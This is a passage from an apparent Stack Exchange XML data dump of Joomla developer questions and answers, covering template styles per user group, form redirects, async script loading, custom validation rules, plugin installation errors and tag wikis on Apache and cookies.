can:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Sync a couple of tables (maybe with an add-drop-table)&lt;/li&gt;&#xA;&lt;li&gt;rsync a folder&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In order to sync up the posts and changes without having to do a complete and full 1.5 to 3.0 migration every single time. Thanks! &lt;/p&gt;&#xA;" OwnerUserId="1781" LastActivityDate="2014-08-13T19:22:59.363" Title="Sync up Joomla 1.5 with 3" Tags="|joomla-user-groups|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4032" PostTypeId="1" AcceptedAnswerId="4038" CreationDate="2014-08-13T16:15:54.213" Score="2" ViewCount="232" Body="&lt;p&gt;I'm creating a Joomla! 3.x website with 3 different styles according to the visitor type (mostly color differences and different modules being displayed or not):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blue style for &quot;people&quot;&lt;/li&gt;&#xA;&lt;li&gt;Green style for small stores&lt;/li&gt;&#xA;&lt;li&gt;Red style for big stores&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The website also has 2 languages but the style is not going to change according to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: What would be the best practice to manage those styles? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My ideas so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use 3 different templates, however the only difference among them would be the css.&lt;/li&gt;&#xA;&lt;li&gt;Use a single template with all styles on it and create (or find?) a plugin to take care (in session) of a class in  according to the visitor's choice.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18" LastActivityDate="2014-08-14T16:49:16.130" Title="Multiple styles on a website" Tags="|joomla-3.x|templates|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4033" PostTypeId="1" AcceptedAnswerId="4320" CreationDate="2014-08-13T16:28:13.937" Score="3" ViewCount="3943" Body="&lt;p&gt;I'm creating a simple contact component in Joomla 3.3 (which is called Contact Pay).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a 'message' and a 'messages' view in the back-end, with associated models and controllers. 'message' is a JForm form, and 'messages' is the list view. Everything works fine there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in the front-end I only have a message view, for site visitors to send message. I use the same back-end model in the front-end, using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$controller-&amp;gt;addModelPath( JPATH_ADMINISTRATOR.DS.'components'.DS.'com_contactpay'.DS.'models' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the component entry file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply copied the form XML file (message.xml) from the back-end, removed a few fields, and used it for the front-end. I output the form with the following layout file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_( 'index.php?option=com_contactpay&amp;amp;task=message.save'); ?&amp;gt;&quot;&#xA;      method=&quot;post&quot; id=&quot;contactpay-message-form&quot; class=&quot;form-validate form-horizontal&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;&#xA;        &amp;lt;?php foreach( $this-&amp;gt;form-&amp;gt;getFieldset('message_fields') as $field ) : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $field-&amp;gt;label; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;        &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary validate&quot;&amp;gt;&amp;lt;?php echo JText::_('JSUBMIT');?&amp;gt;&amp;lt;/button&amp;gt;&#xA;        &amp;lt;a class=&quot;btn&quot; href=&quot;&amp;lt;?php echo JRoute::_('');?&amp;gt;&quot; title=&quot;&amp;lt;?php echo JText::_('JCANCEL');?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo JText::_('JCANCEL');?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_contactpay&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;message.save&quot; /&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('form.token');?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When a use fills out the form on the front-end it is saved to the database as it should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that after the form is submitted it redirects to a 'messages' view which doesn't exist on the front-end, so I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;500 View not found [name, type, prefix]: messages, html, contactpayView &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried controlling the redirect in the message controller which extends JControllerForm using the following code in the constructor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;setRedirect( JRoute::_( 'index.php?option=com_contactpay&amp;amp;view=message' ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this produces the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do control the component redirect?&lt;/p&gt;&#xA;" OwnerUserId="234" LastEditorUserId="1629" LastEditDate="2014-09-03T14:09:06.350" LastActivityDate="2015-05-05T10:04:21.847" Title="Controlling Component Redirect (Using JControllerForm)" Tags="|cms|joomla-api|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4034" PostTypeId="2" ParentId="4032" CreationDate="2014-08-13T16:30:01.270" Score="2" Body="&lt;p&gt;We've battled this in the past, and in our experience always gets messy, so abandoned it for a simpler approach.  Afterwards, we found an extension called &lt;a href=&quot;http://extensions.joomla.org/extensions/style-a-design/templating/11173&quot; rel=&quot;nofollow&quot;&gt;Chameleon&lt;/a&gt;, which was going to do exactly what we wanted, and what you're asking, but it was too late to implement in our project.  I can't comment based on personal experience, but it seems highly rated in it's reviews, and appears to be quite powerful and flexible.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Chameleon detects:&#xA;&#xA;★ Browser (IE v6, FF, iPhone, iPad, tablet, mobile etc; using Categorizr for smart detection)&#xA;★ Browser language&#xA;★ Date, time, time of day&#xA;★ Page type (article, category, front page etc)&#xA;★ Virtuemart page types, cart contents, categories &amp;amp; coupons&#xA;★ Hikashop page types, categories and specific items&#xA;★ K2 page types, categories, authors and more&#xA;★ User id and group, logged-in and logged-out users&#xA;★ Article id, section, category and tags (J3.x)&#xA;★ Component&#xA;★ Domain/sub-domain of your site&#xA;★ Page URL and HTTP referrer&#xA;★ Random probability&#xA;★ GeoIP detection of the guest’s city/country&#xA;★ All &quot;children&quot; of a given menu or menu item&#xA;★ Anything else you can detect with a snippet of PHP.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-08-13T16:30:01.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4035" PostTypeId="1" AcceptedAnswerId="4036" CreationDate="2014-08-13T16:46:30.340" Score="10" ViewCount="10061" Body="&lt;p&gt;is it possible to use the &lt;code&gt;addScript&lt;/code&gt; with &lt;code&gt;async=&quot;true&quot;&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a hack that uses some clever quoting to trick the embed function, but it seems as if this could be a native feature:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addScript(&quot;//myscript.js&quot;, 'text/javascript&quot; async=&quot;true');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="159" LastEditDate="2014-10-27T20:48:05.490" LastActivityDate="2014-10-27T20:48:05.490" Title="Add JavaScript with $doc-&gt;addScript with async=&quot;true&quot;" Tags="|joomla-3.x|javascript|jdocument|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4036" PostTypeId="2" ParentId="4035" CreationDate="2014-08-13T17:17:13.540" Score="11" Body="&lt;p&gt;If you have a look at the Joomla &lt;code&gt;addScript&lt;/code&gt; function, it shows the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function addScript($url, $type = &quot;text/javascript&quot;, $defer = false, $async = false)&#xA;{&#xA;    $this-&amp;gt;_scripts[$url]['mime'] = $type;&#xA;    $this-&amp;gt;_scripts[$url]['defer'] = $defer;&#xA;    $this-&amp;gt;_scripts[$url]['async'] = $async;&#xA;&#xA;    return $this;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$async&lt;/code&gt; is a boolean therefore the following should work for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addScript('//myscript.js', 'text/javascript', false, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;false&lt;/code&gt; is for &lt;code&gt;$defer&lt;/code&gt; and &lt;code&gt;true&lt;/code&gt; is for &lt;code&gt;$async&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-13T17:17:13.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4037" PostTypeId="1" AcceptedAnswerId="4039" CreationDate="2014-08-13T17:42:56.307" Score="5" ViewCount="2644" Body="&lt;p&gt;I've added a custom field to com_content, and everything has been working wonderfully.  I'm now trying to add some server side validation, and after following all the tutorials and examples I've been able to find, specifically &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=615&amp;amp;t=782606&amp;amp;view=next&quot; rel=&quot;noreferrer&quot;&gt;this one&lt;/a&gt;, it is failing because the rule isn't being found&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The desired rule is almost identical to validating a Username, so I copyied/renamed that as my starting point. The files/paths DO exist, and load/save is working properly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there additional information that I'm not providing or perhaps fresh eyes that will make me feel foolish when it's pointed out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the B/E, clicking on &quot;Save&quot; produces this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;An error has occurred.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0 JForm::validateField() rule &lt;code&gt;mycode&lt;/code&gt; missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Custom Field XML&lt;/strong&gt; (Works as expected, except server validation)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form addfieldpath=&quot;/administrator/components/com_mycomponent/models/rules&quot;&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;MyFields&quot; label=&quot;My Info&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;my_code&quot;&#xA;                type=&quot;text&quot; size=&quot;15&quot;&#xA;                validate=&quot;mycode&quot;&#xA;                label=&quot;My Code&quot;&#xA;                /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/administrator/components/com_mycomponent/models/rules/mycode.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//jimport('joomla.form.formrule');   does not work with or without this&#xA;class JFormRuleMycode extends JFormRule&#xA;{&#xA;    public function test(SimpleXMLElement $element, $value, $group = null, JRegistry $input = null, JForm $form = null) {&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-08-13T17:55:14.530" LastActivityDate="2016-06-20T13:29:34.410" Title="Server-side validation rule is not being found" Tags="|cms|jform|validations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4038" PostTypeId="2" ParentId="4032" CreationDate="2014-08-13T18:00:16.990" Score="1" Body="&lt;p&gt;I guess people, small and big stores will be different usergroups. So a simple and straight-forward approach, is to base your styles' variations on the usergroups and the ACL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. To display different modules:&lt;/strong&gt;&#xA;You can create Access Levels for each usergroup and assign the desired module on the associated access level of each usergroup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. To have different styles / Color scheme (CSS):&lt;/strong&gt;&#xA;You can create 3 extra css files, that will handle all style variations and the color schemes. Then in your template you can check for the usergroup of the current user, and call the relative css file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to access the user data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser(); //Get the current user object&#xA;$user-&amp;gt;groups; //Returns an array with the ids of the usergroups of the user.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&#xA;&lt;strong&gt;Alternative and a bit trickier approach to assign the styles:&lt;/strong&gt;&lt;br /&gt;&#xA;You can backend CSS/Scheme/Style settings in your template and create 3 different styles from the backend, that will trigger the corresponding css rules or files for the template. Then you can create different menu items and give them access for each usergroup, and assign the corresponding template style to these menu items.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-08-14T16:49:16.130" LastActivityDate="2014-08-14T16:49:16.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4039" PostTypeId="2" ParentId="4037" CreationDate="2014-08-13T18:34:21.177" Score="4" Body="&lt;p&gt;It seems that you actually have to specify what the path is for and put it in the right place, lol!  The problem was in specifying a path for the &lt;em&gt;fields&lt;/em&gt; instead of for the &lt;em&gt;rules&lt;/em&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This correction fixed the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot; addrulepath=&quot;/administrator/components/com_mycomponent/models/rules&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2016-06-20T13:29:34.410" LastActivityDate="2016-06-20T13:29:34.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4040" PostTypeId="1" AcceptedAnswerId="4041" CreationDate="2014-08-13T18:51:08.053" Score="2" ViewCount="277" Body="&lt;p&gt;I am developing few plugins for Joomla 3. &#xA;I've done so far 4 of them. The first 3 works flawlessy, but the latest one gives me this error during the installation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 500 Installation unexpectedly terminated: Plugin Install: No plugin file specified&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've checked 10 times the xml comparing it with the other plugins. Everything seems in place. Joomla doesn't tell me anything else, so I'm a bit lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get better and deeper debug informations so I'm able to solve the issue?&lt;/p&gt;&#xA;" OwnerUserId="1677" LastActivityDate="2014-08-13T19:19:59.537" Title="Debug custom plugin error" Tags="|installation|custom-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4041" PostTypeId="2" ParentId="4040" CreationDate="2014-08-13T19:19:59.537" Score="3" Body="&lt;p&gt;The error you get mentions the obvious. That in your xml file you haven't specified the plugin.php file. Make sure you have included the correct php file of the plugin in the files section of the xml file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;filename plugin=&quot;myplugin&quot;&amp;gt;myplugin.php&amp;lt;/filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files&amp;gt;&#xA;    &amp;lt;filename plugin=&quot;myplugin&quot;&amp;gt;myplugin.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;other_files.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    ...&#xA;&amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-08-13T19:19:59.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4042" PostTypeId="2" ParentId="4031" CreationDate="2014-08-13T19:22:59.363" Score="3" Body="&lt;p&gt;If I understood your question right, you want to show visitors the old J1.5 site while finishing the new site, but keep adding content that will be visible on both sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation would be to add any new content (articles) to the new Joomla 3 site, and use  an &lt;a href=&quot;http://kb.siteground.com/how_to_enable_rss_in_joomla_15/&quot; rel=&quot;nofollow&quot;&gt;RSS feed&lt;/a&gt; to display the same content on the old J1.5 site. That way the Joomla 3 site is always updated with the latest content, while you still display this to visitors of the old site during development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have to customize the RSS feed and the RSS reader to fit your needs, but it should be fairly straight forward to set it up.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-13T19:22:59.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4043" PostTypeId="1" AcceptedAnswerId="4045" CreationDate="2014-08-13T19:43:35.333" Score="7" ViewCount="1566" Body="&lt;p&gt;When validating a custom field, and the test fails, Joomla returns the following default error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**Warning** Invalid field: My Field&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I specify the message that is returned to explain why it is invalid?&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="159" LastEditDate="2014-08-16T14:03:10.400" LastActivityDate="2014-08-16T14:03:10.400" Title="How can I provide a custom message for a failed JFormRule validation?" Tags="|jform|custom-action|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4044" PostTypeId="2" ParentId="4043" CreationDate="2014-08-13T19:45:58.747" Score="1" Body="&lt;p&gt;For an message that may vary, add the &lt;code&gt;message&lt;/code&gt; attribute like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function test(SimpleXMLElement $element, $value, $group = null, JRegistry $input = null, JForm $form = null)&#xA;{&#xA;    if(!preg_match('/^[a-z0-9]+$/i', $value)) {&#xA;        $element-&amp;gt;addAttribute('message', 'Field may only contain A-z or 0-9');&#xA;        return false;&#xA;    }elseif(!$somethingelse) {&#xA;        $element-&amp;gt;addAttribute('message', 'Something else is wrong');&#xA;        return false;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-08-15T13:37:11.660" LastActivityDate="2014-08-15T13:37:11.660" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4045" PostTypeId="2" ParentId="4043" CreationDate="2014-08-13T19:49:29.263" Score="3" Body="&lt;p&gt;Add the &lt;code&gt;message&lt;/code&gt; attribute, but better like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;my_code&quot; type=&quot;text&quot; size=&quot;15&quot; label=&quot;My Code&quot;&#xA;  validate=&quot;myrule&quot; message=&quot;Field may only contain A-z or 0-9&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="87" LastActivityDate="2014-08-13T19:49:29.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4047" PostTypeId="5" CreationDate="2014-08-13T23:51:36.073" Score="0" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.apache.org/&quot; rel=&quot;nofollow&quot;&gt;The Apache HTTP Server&lt;/a&gt;&lt;/strong&gt;, commonly referred to as Apache, is web server software notable for playing a key role in the initial growth of the World Wide Web. In 2009 it became the first web server software to surpass the 100 million website milestone. Apache was the first viable alternative to the Netscape Communications Corporation web server (currently named Oracle iPlanet Web Server), and since has evolved to rival other web servers in terms of functionality and performance. Typically Apache is run on a Unix-like operating system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apache is developed and maintained by an open community of developers under the auspices of the Apache Software Foundation. Released under the Apache License, Apache is open-source software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apache was originally based on NCSA HTTPd code. The NCSA code has since been removed from Apache, due to a rewrite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since April 1996 Apache has been the most popular HTTP server software in use. As of January 2012 Apache was estimated to serve 58% of all active websites and 65% of the top servers across all domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apache web server can be quickly and easily installed for development tasks, especially those related to &lt;a href=&quot;/questions/tagged/php&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;php&amp;#39;&quot; rel=&quot;tag&quot;&gt;php&lt;/a&gt;, perl and &lt;a href=&quot;/questions/tagged/mysql&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;mysql&amp;#39;&quot; rel=&quot;tag&quot;&gt;mysql&lt;/a&gt;, using some packages such as &lt;a href=&quot;/questions/tagged/xampp&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;xampp&amp;#39;&quot; rel=&quot;tag&quot;&gt;xampp&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Latest major release:&lt;/strong&gt; Apache 2.4 (&lt;a href=&quot;https://httpd.apache.org/docs/2.4/new_features_2_4.html&quot; rel=&quot;nofollow&quot;&gt;what's new?&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;References&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://httpd.apache.org&quot; rel=&quot;nofollow&quot;&gt;The Apache Official Web site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://httpd.apache.org/docs/&quot; rel=&quot;nofollow&quot;&gt;The Official documentation of the Apache Web Server&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Apache_Software_Foundation&quot; rel=&quot;nofollow&quot;&gt;Apache Software Foundation Wikipedia Article&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Apache_HTTP_Server&quot; rel=&quot;nofollow&quot;&gt;Apache HTTP Server Wikipedia Article&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-14T01:32:37.097" LastActivityDate="2014-08-14T01:32:37.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4048" PostTypeId="4" CreationDate="2014-08-13T23:51:36.073" Score="0" Body="The Apache HTTP Server, commonly referred to as Apache, is an open-source HTTP server for modern operating systems including UNIX, its variants and Windows. Apache is a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-14T01:32:39.713" LastActivityDate="2014-08-14T01:32:39.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4049" PostTypeId="5" CreationDate="2014-08-14T00:09:05.587" Score="0" Body="&lt;p&gt;An &lt;a href=&quot;http://en.wikipedia.org/wiki/HTTP_cookie&quot; rel=&quot;nofollow&quot;&gt;HTTP cookie&lt;/a&gt; is a piece of data stored by the user's web browser. &lt;a href=&quot;http://stackoverflow.com/tags/httponly/info&quot;&gt;Unless otherwise specified&lt;/a&gt;, cookies can be created, read, modified and deleted both by JavaScript and by server-side through HTTP headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cookies can be used to remember the state of the session, such as authentication, state of  GUI controls and personalization through user preferences. They can also be inappropriately used to track the browsing history and to transfer malware.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Using cookies in Joomla extensions&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get input cookie object&#xA;$inputCookie  = JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie;&#xA;&#xA;// Get cookie data&#xA;$value        = $inputCookie-&amp;gt;get($name = 'myCookie', $defaultValue = null);&#xA;&#xA;// Check that cookie exists&#xA;$cookieExists = ($value === null);&#xA;&#xA;// Set cookie data&#xA;$inputCookie-&amp;gt;set($name = 'myCookie', $value = '123', $expire = 0);&#xA;&#xA;// Remove cookie&#xA;$inputCookie-&amp;gt;set('myCookie', null, time() - 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Some rules about &lt;code&gt;$expire&lt;/code&gt; value&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;its a &lt;a href=&quot;http://en.wikipedia.org/wiki/Unix_timestamp&quot; rel=&quot;nofollow&quot;&gt;Unix tinestamp&lt;/a&gt; in seconds, like return value of &lt;code&gt;time()&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$expire == 0&lt;/code&gt;: cookie lifetime is of browser session.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$expire &amp;lt; time()&lt;/code&gt;: cookie is being deleted (expire set to past).&#xA; You could remove cookie by setting it's value to null, but apparently IE fails to do so.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Notes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Keep in mind that cookies should be set before headers are sent (usually before output is echoed).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Cookie key and value should be properly escaped&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Non-string values&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When serializing the value on set (like &lt;code&gt;json_encode($dataNode)&lt;/code&gt;), remember to use proper filter to retrieve it later on. Default is &lt;code&gt;cmd&lt;/code&gt;, which filters out pretty much anything but a-Z, 0-9 and cracks JSON structure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get cookie data&#xA;$encodedString = $inputCookie-&amp;gt;get('myCookie', null, $filter = 'string');&#xA;&#xA;// Decode&#xA;$values = json_decode($encodedString);&#xA;&#xA;// Encode and Set&#xA;$inputCookie-&amp;gt;set('myCookie', json_encode($values));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Rererences&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla CMS github repository: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/master/libraries/joomla/input/cookie.php#L47&quot; rel=&quot;nofollow&quot;&gt;JInputCookie::set&lt;/a&gt; (very well documented)&lt;/li&gt;&#xA;&lt;li&gt;php docs: &lt;a href=&quot;http://www.php.net/setcookie&quot; rel=&quot;nofollow&quot;&gt;php.net/setcookie&lt;/a&gt; (developer experiences)&lt;/li&gt;&#xA;&lt;li&gt;Wikipedia: &lt;a href=&quot;http://en.wikipedia.org/wiki/HTTP_cookie&quot; rel=&quot;nofollow&quot;&gt;HTTP Cookies&lt;/a&gt; (theory)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Source:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/16206662/how-to-use-cookies-from-a-component/16230742#16230742&quot;&gt;http://stackoverflow.com/questions/16206662/how-to-use-cookies-from-a-component/16230742#16230742&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-14T01:32:32.243" LastActivityDate="2014-08-14T01:32:32.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
